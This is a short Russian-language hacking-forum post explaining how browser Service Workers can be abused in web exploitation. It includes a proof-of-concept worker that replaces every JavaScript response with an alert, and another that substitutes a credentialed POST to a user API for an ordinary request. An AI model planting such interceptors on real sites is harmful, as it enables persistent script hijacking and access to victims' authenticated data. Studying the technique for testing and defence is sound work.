Service Worker - это скрипт, запускаемый браузером в фоновом процессе. Думаю, еще не самая...

  • Автор темы LOOK3#
  • Дата начала
  • Участники 0

LOOK3#

Intermidiate Hacker
25.09.2020
92
0
8
Service Worker - это скрипт, запускаемый браузером в фоновом процессе. Думаю, еще не самая используемая технология пентестерами, а ведь с помощью нее можно придумать какую-нибудь интересную эксплуатацию уязвимостей. Большинство использует как кэш в твоем браузере, а кто-то, наверное, всякие гадости делает?

Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть chrome://serviceworker-internals/. Если ты активный пользователь интернета, будешь неприятно удивлен

Например, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега <script>, то вернется alert().

Надо разместить куда-то serviceworker.js (на имя пофиг).



self.addEventListener('fetch', event => {
if(event.request.url.endsWith('.js'))
event.respondWith(new Response('alert()'));
});


И зарегать его:
<script>navigator.serviceWorker.register(‘serviceworker.js')</script>

При следующем посещении все js’ки будут alert’тить.

А вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:


self.addEventListener('fetch', event => {
const url = '/api/user';
if(event.request.url.endsWith('/intercept'))
event.respondWith(fetch(url, {
method : 'POST',
mode : 'no-cors',
credentials: 'include'
}));
});

И вместо <script src=/intercept></script>, будет содержимое POST-запроса

>
 

Об LS-LA

  • Мы, группа единомышленников, основная цель которых повышать уровень знаний и умений.
    Не забывая о материальном благополучии каждого)

About LS-LA

  • We, a group of like-minded people, whose main goal is to increase the level of knowledge and skills.
    Not forgetting about everyone’s material well-being)

Быстрая навигация

Пользовательское меню